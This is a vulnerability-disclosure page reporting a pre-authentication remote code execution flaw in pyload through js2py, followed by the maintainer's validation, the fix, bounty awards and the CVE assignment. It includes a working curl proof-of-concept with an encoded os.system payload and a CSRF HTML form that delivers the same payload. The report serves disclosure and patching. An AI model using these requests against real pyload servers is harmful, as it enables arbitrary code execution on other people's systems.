Pre-auth RCE in pyload/pyload


Reported on

Jan 1st 2023


An unauthenticated attacker can execute arbitrary python code by abusing js2py functionality.

Also, due to the lack of CSRF protection, a victim can be tricked to execute arbitrary python code.

Proof of Concept

Run the command below and touch /tmp/pwnd gets executed.

curl -i -s -k -X $'POST' \
    -H $'Host:' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
    --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&passwords=aaaa' \

Decoded jk parameter: pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};

You can also send the url of a website that hosts the HTML file below to a victim.

  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <script>history.pushState('', '', '/')</script>
    <form action="" method="POST">
      <input type="hidden" name="package" value="xxx" />
      <input type="hidden" name="crypted" value="AAAA" />
      <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
      <input type="hidden" name="passwords" value="aaaa" />
      <input type="submit" value="Submit request" />


This vulnerability is capable of executing arbitrary python code.

We are processing your report and will contact the pyload team within 24 hours. a year ago
bAu submitted a
a year ago
a year ago


@admin Hi. It seems that is the email address to report a vulnerability according to

We have contacted a member of the pyload team and are waiting to hear back a year ago
pyload/pyload maintainer gave praise a year ago
The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1
pyload/pyload maintainer validated this vulnerability a year ago
bauh0lz has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
pyload/pyload maintainer marked this as fixed in 0.5.0b3.dev31 with commit 7d73ba a year ago
bAu has been awarded the fix bounty
This vulnerability has now been published a year ago
a year ago



Do you mind requesting a CVE for this vulnerability?

pyload/pyload maintainer
a year ago


Do you mind requesting a CVE for this vulnerability?

How do you so? I cannot see any option for that.

a year ago


@admin Could you please assign a CVE?

a year ago


On it :)

Ben Harvie
a year ago


A CVE has now been assigned to this report as requested:)

a year ago



to join this conversation